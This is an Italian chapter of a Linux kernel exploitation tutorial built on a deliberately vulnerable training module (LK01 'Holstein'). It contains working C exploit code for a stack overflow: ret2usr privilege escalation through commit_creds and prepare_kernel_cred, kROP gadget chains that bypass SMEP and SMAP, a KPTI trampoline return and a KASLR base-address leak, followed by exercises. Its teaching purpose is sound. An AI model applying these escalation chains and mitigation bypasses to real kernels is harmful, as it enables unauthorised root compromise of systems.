Nel capitolo precedente abbiamo individuato uno Stack Overflow nel modulo Holstein e verificato che la vulnerabilità ci permette di controllare RIP. In questo capitolo vedremo come trasformare quel controllo in una LPE e come aggirare varie mitigazioni del kernel.

Modi per elevare i privilegi

Esistono molte tecniche per ottenere privilegi elevati, ma il metodo più basilare è usare commit_creds. L’idea è semplice: fare eseguire al kernel la stessa logica che usa quando crea un processo con privilegi root.
Una volta ottenuti i privilegi, resta un altro punto essenziale: tornare in user space senza far crashare il processo. Stiamo exploitando un modulo kernel, quindi il contesto corrente è kernel mode, ma il risultato finale deve essere una shell root in userland.
Partiamo quindi dalla parte teorica.

prepare_kernel_cred e commit_creds

Ogni processo ha delle credenziali associate. Nel kernel vengono gestite sullo heap tramite la struttura cred. Ogni processo (task) è rappresentato da una struttura task_struct, che contiene un puntatore alle credenziali.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct task_struct {
...
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
}

Le credenziali vengono create, per esempio, quando nasce un nuovo processo. Una funzione molto importante nei kernel exploit è prepare_kernel_cred. Leggiamone un estratto.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* Riceve come argomento un puntatore a task_struct */
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);

...

return new;
}

Seguiamo il caso in cui prepare_kernel_cred venga chiamata con NULL.
Prima viene allocata una nuova struttura cred:

1
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);

Poi, dato che il primo argomento daemon è NULL, i campi vengono inizializzati copiando init_cred:

1
old = get_cred(&init_cred);

Dopo i controlli di validità, il contenuto di old viene trasferito in new.

Quindi prepare_kernel_cred(NULL) crea una nuova struttura cred basata su init_cred. Guardiamo anche la definizione di init_cred:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
.ucounts = &init_ucounts,
};

Come si vede dal codice, init_cred rappresenta proprio credenziali root.

Ora abbiamo un modo per creare una cred privilegiata. Dobbiamo ancora installarla sul processo corrente. Qui entra in gioco commit_creds:

1
int commit_creds(struct cred *new)

Di conseguenza, una tecnica classica per l’elevazione dei privilegi nei kernel exploit è:

1
commit_creds(prepare_kernel_cred(NULL));

[Aggiornamento del 28 marzo 2023]
Dal kernel Linux 6.2 non è più possibile passare NULL a prepare_kernel_cred.
init_cred però esiste ancora, quindi commit_creds(&init_cred) produce lo stesso effetto.

swapgs: ritorno in user space

Con prepare_kernel_cred e commit_creds abbiamo ottenuto i privilegi root, ma non abbiamo ancora finito.
Dopo la ROP chain dobbiamo tornare in user space come se nulla fosse successo e aprire una shell. Se il kernel va in crash o il processo termina, il privilegio appena ottenuto non serve a nulla.

Una ROP chain distrugge il normale stack frame, quindi “tornare indietro” in senso classico è difficile. Nei kernel exploit, però, il programma che innesca la vulnerabilità lo controlliamo noi: basta rimettere RSP in userland e impostare RIP su una funzione che apra una shell.
Il passaggio da user space a kernel space avviene tramite istruzioni privilegiate del processore, in genere syscall o int. Per tornare indietro si usano di norma sysretq oppure iretq. Nei kernel exploit si preferisce quasi sempre iretq, perché è più semplice da gestire. Inoltre, nel ritorno da kernel a user space bisogna ripristinare anche il segmento GS, passando da quello kernel a quello utente. A questo serve l’istruzione swapgs.
La sequenza, quindi, è: swapgs, poi iretq. Quando invochiamo iretq, lo stack deve contenere le informazioni del contesto userland in questo formato:

stack al momento della chiamata a iretq

Oltre a RSP e RIP, vanno ripristinati anche CS, SS e RFLAGS. RSP può essere qualunque stack userland valido, e RIP può puntare a una funzione che lanci la shell. Gli altri registri possono essere quelli catturati mentre eravamo ancora in user space. Per questo conviene preparare una piccola funzione di supporto che salvi lo stato dei registri. Nell’esempio seguente salviamo anche RSP.

1
2
3
4
5
6
7
8
9
10
11
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

Chiama questa funzione mentre sei ancora in user space, così potrai riutilizzare i valori salvati al momento del iretq.

ret2user (ret2usr)

Ora che la teoria è chiara, passiamo alla pratica.

Cominciamo dalla tecnica più semplice: ret2user. In questo scenario SMEP è disattivato, quindi il kernel può eseguire codice che si trova in memoria userland. In pratica basta tradurre in C la sequenza prepare_kernel_cred, commit_creds, swapgs, iretq.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void restore_state() {
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_rsp),
"r"(user_rflags),
"r"(user_cs), "r"(win));
}

static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}

Queste routine compaiono continuamente negli exploit kernel più semplici, quindi vale la pena costruirsi un template personale. Aggiungi una chiamata a save_state all’inizio di main.

Dentro escalate_privilege servono i puntatori a prepare_kernel_cred e commit_creds. Dato che in questo punto KASLR è disattivato, gli indirizzi sono fissi. Recuperali e scrivili direttamente nel codice.

recupero degli indirizzi da /proc/kallsyms

A questo punto non resta che usare la vulnerabilità per chiamare escalate_privilege. Potresti anche riempire il buffer con molti puntatori alla funzione, ma dato che poi passeremo alle ROP chain, conviene capire con precisione l’offset del return address.
Si potrebbe calcolarlo leggendo il modulo in IDA, ma visto che stiamo facendo pratica conviene controllarlo in gdb.

Nel corpo di module_write, il punto in cui viene chiamata _copy_from_user si trova a offset 0x190. Somma quell’offset al base address ottenuto da /proc/modules, metti un breakpoint, poi invoca write.
Dalla vista di memoria, a RDI + 0x400, si osserva quanto segue:

destinazione della scrittura in _copy_from_user

Se prosegui fino al ret, ottieni:

stato al termine di module_write

In quel punto RSP punta a 0xffffc90000413eb0.

registri al termine di module_write

Quindi possiamo controllare RIP a partire da 0x408 byte dopo l’inizio del buffer. L’exploit diventa:

1
2
3
4
char buf[0x410];
memset(buf, 'A', 0x410);
*(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
write(fd, buf, 0x410);

L’exploit completo è disponibile qui.

Se ti fermi al ret di module_write, vedrai che l’esecuzione arriva davvero in escalate_privilege.

controllo di RIP per chiamare escalate_privilege
Lupetto

A volte `nexti` non si ferma proprio all'istruzione successiva.
In quel caso prova `stepi`, oppure metti un breakpoint un po'' più avanti.

Se l’exploit è corretto, vedrai passare prepare_kernel_cred e commit_creds. Conviene anche fare step dentro restore_state. Poco prima di iretq, lo stack appare così:

stack immediatamente prima di iretq

Se con stepi arrivi a win, l’exploit è andato a buon fine.

salto riuscito alla funzione win

Qui siamo ancora root già in partenza, quindi il risultato non è ancora visibile. Ma almeno siamo tornati correttamente in userland.
Ripristina ora la configurazione originale (S99pawnyable) ed esegui l’exploit da un utente non privilegiato.

LPE tramite ret2usr

L’elevazione di privilegi riesce.
Questa parte può sembrare un po’’ densa la prima volta, ma il punto importante è che, una volta capito il meccanismo, molte vulnerabilità kernel finiscono sempre nello stesso schema: controllo di RIP, escalation, ritorno pulito in userland.

kROP

Ora attiviamo SMEP. Aggiungi smep agli argomenti della CPU in qemu:

1
-cpu kvm64,+smep

Se lanci in questo stato l’exploit ret2user di prima, ottieni il crash seguente:

crash con SMEP abilitato

Il messaggio unable to execute userspace code (SMEP?) mostra chiaramente che il kernel non può più eseguire codice userland.

La situazione è molto simile a NX/DEP in user space: i dati utente restano leggibili e scrivibili, ma non eseguibili. Per aggirare SMEP basta quindi usare una ROP chain. Nel contesto kernel si parla spesso di kROP.

Se hai già familiarità con i ROP userland, trasformare il ret2user precedente in una kROP non è difficile. L’unico passaggio un po’ noioso è recuperare i gadget giusti, quindi concentriamoci su quello.
Per cercare gadget nel kernel Linux, prima bisogna estrarre vmlinux da bzImage. Il kernel fornisce lo script ufficiale extract-vmlinux:

1
$ extract-vmlinux bzImage > vmlinux

Poi usa il tool che preferisci per cercare i gadget:

1
2
3
4
$ ropr vmlinux --noisy --nosys --nojop -R '^pop rdi.+ret;'
...
0xffffffff8127bbdc: pop rdi; ret;
...

Gli indirizzi restituiti sono assoluti. Corrispondono al base address senza KASLR (0xffffffff81000000) più un offset relativo. Nell’esempio sopra, l’offset relativo è 0x27bbdc.
Dato che qui KASLR è ancora disattivato, puoi usare gli indirizzi così come sono. Con KASLR attivo, invece, dovrai usare offset relativi e sommarli al base leakato.

Il kernel Linux contiene una quantità enorme di codice, quindi di solito esistono gadget sufficienti per fare praticamente qualunque cosa. In questo caso sono stati usati i seguenti:

1
2
3
4
0xffffffff8127bbdc: pop rdi; ret;
0xffffffff81c9480d: pop rcx; ret;
0xffffffff8160c96b: mov rdi, rax; rep movsq [rdi], [rsi]; ret;
0xffffffff8160bf7e: swapgs; ret;

Alla fine serve anche iretq, ma molti tool non lo cercano in automatico. Recuperalo con objdump o simili:

1
2
3
$ objdump -S -M intel vmlinux | grep iretq
ffffffff810202af: 48 cf iretq
...
Lupetto

Molti tool per i gadget non sono testati bene su binari enormi come il kernel.
Possono saltare istruzioni, ignorare prefissi o perfino proporre gadget in aree non realmente eseguibili.
Presta particolare attenzione agli indirizzi alti, per esempio `0xffffffff81cXXXYYY`.

Il modo in cui componi la chain è libero. Un formato comodo è il seguente, perché permette di aggiungere o togliere gadget senza ricalcolare ogni offset:

1
2
3
4
5
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rop_pop_rdi;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
...

Prova a completare da solo l’exploit. Un esempio completo si trova qui.

Se la chain non funziona e non hai voglia di debuggare a fondo, puoi usare la tecnica classica di mettere indirizzi finti e vedere fin dove si arriva dal crash log:

1
2
3
4
*chain++ = rop_pop_rdi;
*chain++ = 0;
*chain++ = 0xdeadbeefcafebabe;
...

In questo caso usa sempre indirizzi non mappati, sia lato kernel sia lato userland. Se la kROP è corretta, dovresti ottenere i privilegi root anche con SMEP attivo.

Dato che la chain gira sullo stack kernel, in realtà funziona anche con SMAP attivo. Vale la pena verificarlo direttamente.

Di solito esistono gadget del tipo mov rdi, rax; rep movsq; ret;, che permettono di passare a commit_creds il risultato di prepare_kernel_cred(NULL). In alternativa si può usare qualcosa come mov rdi, rax; call rcx; ed entrare in commit_creds saltando il prologo iniziale.
Se non trovi proprio nulla di utile, oppure vuoi una chain più corta, puoi usare init_cred. Questa variabile globale contiene già una struttura cred con privilegi root. In altre parole, anche un semplice commit_creds(init_cred) basta per elevare i privilegi.

Gestire KPTI

Adesso proviamo con SMAP, SMEP e KPTI tutti attivi.
KPTI non nasce come mitigazione generica contro vulnerabilità memory corruption, ma come difesa contro l’attacco side-channel Meltdown. Per questo le tecniche che abbiamo usato fin qui restano valide. Ciononostante, se esegui l’exploit con KPTI attivo, il ritorno in userland fallisce in questo modo:

esempio di fallimento con KPTI attivo

Il crash avviene in user space, quindi swapgs e iretq hanno effettivamente riportato il flusso fuori dal kernel. Il problema è che, per via di KPTI, il page table root è rimasto quello kernel: le pagine userland non sono più leggibili.
Come spiegato nel capitolo sulle mitigazioni, prima di tornare in userland bisogna fare OR di 0x1000 nel registro CR3. Potrebbe sembrare difficile trovare un gadget del genere, ma in realtà deve esistere per forza: il kernel lo usa già nel percorso legittimo di ritorno a userland.
La logica si trova nel macro swapgs_restore_regs_and_return_to_usermode. La parte importante è questa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
movq	%rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY

/* Copy the IRET frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */

/* Push user RDI on the trampoline stack. */
pushq (%rdi)

/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER

SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN

I push iniziali preparano lo stack che poi verrà consumato da iretq. Successivamente il macro SWITCH_TO_USER_CR3_STACK aggiorna CR3. Vediamo dove si trova:

1
2
/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode

Se il simbolo non è disponibile, cerca in objdump il punto in cui viene manipolato CR3.

A questo punto bisogna capire dove saltare nella funzione. A prima vista verrebbe voglia di saltare direttamente dove si aggiorna CR3, ma c’è un problema: subito dopo il cambio di page tables, lo stack kernel normale non è più leggibile. Se facessi ancora pop o iretq da quel vecchio stack, il ritorno fallirebbe.
Per questo il kernel usa una trampoline stack visibile sia dal contesto kernel sia da quello userland. I push visti sopra servono proprio a copiare il frame iretq in quella zona sicura. Di conseguenza, in una ROP chain bisogna saltare a 0xffffffff81800e26:

trampoline in swapgs_restore_regs_and_return_to_usermode

In questo caso, prima di swapgs ci sono anche pop rax e pop rdi:

1
2
3
0xffffffff81800e89:  pop    rax
0xffffffff81800e8a: pop rdi
0xffffffff81800e8b: swapgs

I valori che prima erano stati salvati con push [rdi] e push rax vengono quindi recuperati lì. Inoltre, lo stack al momento di swapgs è quello costruito dai push iniziali:

1
2
3
4
5
0xffffffff81800e32:  push   QWORD PTR [rdi+0x30]
0xffffffff81800e35: push QWORD PTR [rdi+0x28]
0xffffffff81800e38: push QWORD PTR [rdi+0x20]
0xffffffff81800e3b: push QWORD PTR [rdi+0x18]
0xffffffff81800e3e: push QWORD PTR [rdi+0x10]

Quindi i dati usati da swapgs e iretq vanno collocati a partire da 0x10 byte dopo il punto in cui chiami il gadget:

1
2
3
4
5
6
7
8
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef;
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win; // [rdi+0x10]
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;

Tenendo conto di questo dettaglio, prova a completare una kROP che funzioni anche con KPTI.

Bypass di KASLR

Fin qui abbiamo lavorato con KASLR disattivato. Cosa cambia con KASLR attivo?

Entropia di KASLR

Prima di tutto, è utile capire come è implementato KASLR.
La randomizzazione del kernel viene fatta a livello di page tables, nella funzione kernel_randomize_memory di kaslr.c.
Il kernel usa lo spazio virtuale da 0xffffffff80000000 a 0xffffffffc0000000, quindi 1 GB in totale. Di conseguenza, anche con KASLR attivo, il base address del kernel può assumere solo un numero limitato di valori, grossomodo da 0x810 a 0xc00: circa 0x3f0 possibilità.

intervallo di randomizzazione di KASLR
Lupetto

L'ASLR del kernel ha meno entropia rispetto a quello userland.
Può sembrare strano, ma nel kernel un tentativo fallito spesso manda la macchina in panic, quindi il brute force resta poco realistico anche con meno combinazioni.

Leak di indirizzi

Come per l’ASLR in userland, anche per aggirare KASLR nel kernel serve un leak di indirizzi.
Il vantaggio del kernel è che lo spazio è condiviso fra tutti i programmi: anche se questo driver non avesse un address leak, potresti sfruttarne uno presente altrove.
Qui però possiamo usare direttamente module_read, che contiene una lettura fuori limite simile a quella vista in module_write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_read called\n");

memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

kbuf vive sullo stack, ma copy_to_user può copiare una quantità arbitraria di dati. Quindi possiamo leggere oltre i 0x400 byte iniziali e farci restituire porzioni dello stack kernel. Su quello stack ci sono quasi sempre return address o altri puntatori nel .text del kernel: basta trovarne uno per risalire al base address e quindi agli indirizzi di commit_creds, gadget, e così via.

Per prima cosa conviene verificare con gdb che nello stack esista davvero un indirizzo utile. Come sempre, per il debug lascia KASLR disattivato.

stack al momento della copy_to_user

Nell’immagine si vedono puntatori vicini a 0xffffffff81000000: per esempio 0xffffffff8113d33c e 0xffffffff8113d6e3. Non corrispondono esattamente a simboli esportati, quindi con ogni probabilità sono indirizzi nel mezzo di funzioni.
Se cerchi quei valori, arrotondando le ultime cifre, trovi corrispondenze come vfs_read e ksys_read.

ricerca del simbolo a partire dall'indirizzo leakato

FGKASLR qui è disattivato, quindi l’offset fra quel puntatore è il base address del kernel resta costante. Possiamo usare, per esempio, il puntatore dentro vfs_read:

1
2
3
4
5
6
/* Leak del base address del kernel */
memset(buf, 'B', 0x480);
read(fd, buf, 0x410);
unsigned long addr_vfs_read = *(unsigned long*)&buf[0x408];
unsigned long kbase = addr_vfs_read - (0xffffffff8113d33c-0xffffffff81000000);
printf("[+] kbase = 0x%016lx\n", kbase);

Con questo leak puoi adattare la tua ROP chain per funzionare con SMAP, SMEP, KPTI e KASLR tutti attivi. Se usi il base address leakato per gadget e funzioni, l’elevazione di privilegi deve riuscire anche in questa configurazione.

elevazione di privilegi con KASLR attivo

Un esempio completo dell’exploit è disponibile qui.


Usando solo la vulnerabilità di stack overflow del problema LK01, e senza usare ROP, verifica se sia possibile ottenere l'elevazione di privilegi con le seguenti combinazioni di mitigazioni. Se è possibile, scrivi l'exploit; se non lo è, spiega perché.
(1) SMAP disattivo / SMEP disattivo / KPTI attivo
(2) SMAP attivo / SMEP disattivo / KPTI disattivo
Come visto nella sezione sulle mitigazioni, SMEP è controllato dal bit 21 del registro CR4. Disattivando quel bit via kROP, e poi tornando a ret2user, è possibile ottenere l'elevazione di privilegi? Se sì, scrivi l'exploit. Se no, spiega perché.
Con SMAP, SMEP e KPTI disattivi ma KASLR attivo, ottieni privilegi root usando solo la vulnerabilità di stack overflow, cioè senza usare `read`.
Suggerimento: osserva i registri nel momento in cui il ret2usr salta alla shellcode.